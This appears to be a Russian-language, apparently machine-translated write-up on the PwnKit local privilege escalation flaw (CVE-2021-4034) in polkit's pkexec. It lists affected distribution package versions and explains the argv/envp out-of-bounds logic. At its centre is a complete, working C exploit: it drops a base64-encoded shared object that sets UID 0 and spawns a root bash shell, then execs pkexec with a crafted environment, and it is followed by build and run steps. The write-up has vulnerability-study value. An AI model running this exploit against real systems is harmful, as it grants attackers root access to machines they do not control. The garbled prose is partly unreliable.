Polkit — это менеджер авторизации. Его системная архитектура состоит из агентов авторизации и аутентификации. pkexec — один из инструментов polkit. Его функция чем-то похожа на sudo, позволяя пользователям выполнять команды от имени другого пользователя.
polkit предоставляет API авторизации для использования привилегированными программами («МЕХАНИЗМЫ») и непривилегированными программами («СУБЪЕКТЫ»), обычно через ту или иную форму механизма межпроцессного взаимодействия. В этом случае механизм обычно рассматривает субъект как недоверенный. Для каждого запроса от принципала механизм должен определить, авторизован ли запрос или ему следует отказать в обслуживании принципалу. Используя API-интерфейс polkit, механизм может передать это решение доверенной стороне: органу власти polkit.
polkit Разрешения реализованы как системные демоны. polkitd (8),Он не имеет никаких привилегий сам по себе,Потому что это начинается с polkitdЗапуск от имени системного пользователя。механизм、Принципалы и агенты аутентификации общаются с органами власти, используя системную шину сообщений.
Помимо авторизации, polkit также позволяет пользователям получать временную авторизацию путем аутентификации администратора или владельца сеанса, к которому принадлежит клиент. Это полезно для сценариев, когда механизму необходимо проверить, что оператор системы действительно является пользователем или пользователем с правами администратора.
polkit— Менеджер авторизации
polkitd— polkit Системный демон
pkcheck— Проверьте, авторизован ли процесс
pkaction— Получить подробную информацию о зарегистрированных операциях
pkexec— Выполнить команду от имени другого пользователя
pkttyagent— Помощник по аутентификации текста
· Все выпуски с мая 2009 г. по настоящее время Polkit Версия
Примечание. Polkit предварительно установлен во многих дистрибутивах Linux, таких как CentOS, Ubuntu, Debian, Redhat, Fedora, Gentoo, Mageia и т. д. Это касается всех систем Linux, где существует Polkit.
CentOS:
· CentOS 6:polkit-0.96-11.el6_10.2
· CentOS 7:polkit-0.112-26.el7_9.1
· CentOS 8.0:polkit-0.115-13.el8_5.1
· CentOS 8.2:polkit-0.115-11.el8_2.2
· CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
· Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
· Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
· Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
· Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
· Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
· :policykit-1 0.105-18+deb9u2
· Debain stretch:policykit-1 0.105-18+deb9u2
· Debain buster:policykit-1 0.105-25+deb10u1
· Debain bullseye:policykit-1 0.105-31+deb11u1
· Debain bookworm,bullseye:policykit-1 0.105-31.1
https://github.com/luijait/PwnKit-Exploit/exploit.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
* @author: luijait
* @version: 1.0
* @CVE: CVE-2021-4034
*/
void enviroment()
{
system("mkdir 'GCONV_PATH=.' && touch 'GCONV_PATH=./tmp' && chmod +x 'GCONV_PATH=./tmp'");
system("mkdir tmp;echo I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKdm9pZCBnY29udih2b2lkKSB7fQoKCnZvaWQgZ2NvbnZfaW5pdCh2b2lkICpzdGVwKQp7CgkvL1Blcm1zIAoJc2V0dWlkKDApOyBzZXRldWlkKDApOyBzZXRnaWQoMCk7IHNldGVnaWQoMCk7CQoJLy9JbnZvcXVlIFNoZWxsCgljaGFyICogc2hlbGxbXSA9IHsgIi9iaW4vYmFzaCIsICItaSIsIE5VTEwgfTsKCS8vRGVmaW5lIFBhdGgKCWNoYXIgKiBlbnZfdmFyc1tdID0geyAiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iLCBOVUxMIH07CglleGVjdmUoc2hlbGxbMF0sIHNoZWxsLCBlbnZfdmFycyk7CglleGl0KDApOyAKfQo= | base64 -d > tmp/b64load.c; gcc tmp/b64load.c -o tmp/pwnkit.so -shared -fPIC ");
system("echo bW9kdWxlIFVURi04Ly8gUFdOS0lULy8gcHdua2l0IDIK | base64 -d > tmp/gconv-modules");
}
void banner()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Current User before execute exploit\nhacker@victim$whoami: ");
system("whoami");
sleep(1);
printf("Exploit written by @luijait (0x6c75696a616974)");
}
int main(int argc, char **argv)
{
banner();
enviroment();
char * const idk[] = {
NULL
};
char * const entorno[] = {"tmp",
"PATH=GCONV_PATH=.",
"SHELL=/random",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",NULL
};
printf("\n[+] Enjoy your root if exploit was completed succesfully\n");
return execve("/usr/bin/pkexec", idk, entorno);
}
Основное объяснение:
argc указывает, сколько существует параметров командной строки.,Первый — это имя программы выполнения.,такargcПо меньшей мере1。
argv — это конкретный параметр.
envp — переменная системной среды. Обычная форма: «имя=значение», завершается NULL.
char *argv[ ] Массив строк, представляющий параметры командной строки, используемый для хранения массива указателей на строковые параметры, где каждый элемент указывает на параметр.
envp Сохраните параметры текущей среды выполнения программы.
int argc представляет количество строк командной строки.
pkexecИсходный код:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
Логика точки уязвимости: если при выполнении pkexec указан вредоносный envp[0], переменная среды может быть записана в пространство целевого процесса.
1. Строка 534, начальное значение n равно 1.
534 for (n = 1; n < (guint) argc; n++)
2. Строка 610, argv[1] фактически указывает на envp[0], и путь будет назначен envp[0]
610 path = g_strdup (argv[n]);
3. Строка 632, найдите абсолютный путь к программе через переменную среды PATH и верните: s = g_find_program_in_path(путь),
632 s = g_find_program_in_path (path);
4. Строка 639, наконец, вызывает выход индекса массива за пределы: в этот момент argv[1] назначается абсолютный адрес, то есть envp[0] назначается абсолютный адрес.
639 argv[n] = path = s;
id
make
./exploit
id
Qualys Бхарат, директор по исследованиям уязвимостей и угроз Jogi Bharat Jogi, Director, Vulnerability and Threat Research, Qualys https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://www.freedesktop.org/software/polkit/docs/latest/
polkit архитектура и описание
https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html
pkexec архитектура и описание
https://www.freedesktop.org/software/polkit/docs/latest/pkexec.1.html
23R3F: